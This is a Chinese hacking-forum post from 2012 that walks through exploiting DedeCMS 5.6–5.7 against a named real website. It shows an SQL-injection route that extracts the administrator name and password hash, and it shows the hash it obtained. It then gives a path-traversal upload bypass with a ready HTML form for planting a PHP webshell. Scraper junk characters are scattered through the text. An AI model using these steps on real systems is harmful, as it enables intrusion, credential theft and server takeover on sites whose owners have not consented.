中国网络渗透测试联盟

标题: dedecms5.6-5.7注入与上传漏洞利用 [打印本页]

---

作者: admin    时间: 2012-9-13 10:56
标题: dedecms5.6-5.7注入与上传漏洞利用
①注入漏洞。
8 J6 |' h# b7 a2 b9 ^2 K8 `# z这站 http://www.political-security.com/
; S% f6 H; b/ \) }; t& e# Y" ^# a首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
; f2 g+ S9 S1 b" Pwww.political-security.com/data/mysql_error_trace.inc 爆后台
然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。
# V1 _! s* g$ ~; i然后写上语句
1 `. \. P7 Q; |) ^/ m查看管理员帐号
# C0 q) D- Z+ c" @$ l7 T  W/ g* ^8 Ohttp://www.political-security.co ... &membergroup=@`

8 e! U+ g4 n/ R$ g+ L- B# Cadmin

查看管理员密码
7 N- H; }% E+ h( E　http://www.political-security.co ... &membergroup=@`
: V& n# E. p/ L8 |6 m8 ?/ a# @
8d29b1ef9f8c5a5af429

/ j! [7 D1 r5 n8 Z6 l/ z8 s查看管理员密码

得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5

; e# H! A3 F. `( q. G8d2
% w( X- b; A" b' s9b1ef9f8c5a5af42
9
$ k6 G" E. |& G  O- G; j/ c
  p  M4 e, m& m: @8 ycmd5没解出来 只好测试第二个方法
9 {. j$ C* i) L2 G1 ]1 c

6 E% F- A" I# h' _) N( T②上传漏洞：
9 d; h* w/ T: W6 O$ L9 M
只要登陆会员中心，然后访问页面链接
“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”

( A# h0 j9 c* H8 n+ ~( K& L3 \如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
, @6 B* ~) p" a' M# ]6 p9 h
0 _  T6 ?" H! {, h于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm
: L% e7 C2 a8 ?) m
0 N6 J8 j! P6 Q<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>
! j4 O, l# A, |4 o; }; A或者
3 G" c5 A2 A1 g' d2 v0 a6 ?0 C即可上传成功

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2